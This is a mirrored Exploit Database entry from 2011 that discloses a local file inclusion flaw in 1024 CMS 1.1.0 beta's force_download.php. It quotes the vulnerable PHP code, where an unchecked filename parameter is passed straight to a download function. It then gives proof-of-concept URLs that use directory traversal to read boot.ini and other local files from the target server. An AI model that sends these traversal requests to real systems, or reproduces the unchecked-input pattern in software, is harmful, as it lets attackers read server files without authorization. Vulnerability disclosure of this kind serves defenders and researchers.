1024 CMS 1.1.0 Beta – ‘force_download.php’ Local File Inclusion

• Exploit Database
• 132 阅读

• 作者： Sangyun YOO
  日期： 2011-10-19
• 类别：

  • webapps
  平台：

  • php
• 来源：https://www.exploit-db.com/exploits/18000/
• 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27

  # Exploit Title: [1024 CMS Version 1.1.0 beta(/complete-modules/modules/forcedownload/force_download.php) Local File Inclusion Vulnerability] # Date: [2011/10/19] # Author: [Sangyun YOO][I2SEC] # Email: yoosy0302 at naver dot com # Software Link: [http://1024cms.org/] # Version: [1024 CMS Version 1.1.0 beta] # Tested on: [Windows 7 Starter K] --------------------------------------- source of force_download.php: 1: <?php 2 include(dirname(__FILE__)."/cls_forcedl.php"); 3: $filename = $_GET[&apos;filename&apos;]; <----------------- LFI 4: $forcedl = new forcedownload(); 5: $forcedl->dlfile($filename); 6: exit(); 6: ?> --------------------------------------- proof of concept: http://[attacked_box]/[1024cms v1.1.0 beta]/complete-modules/modules/forcedownload/force_download.php?filename=../../../../../../../../boot.ini http://[attacked_box]/[1024cms v1.1.0 beta]/complete-modules/modules/forcedownload/force_download.php?filename=../../../../../../../../[localfile]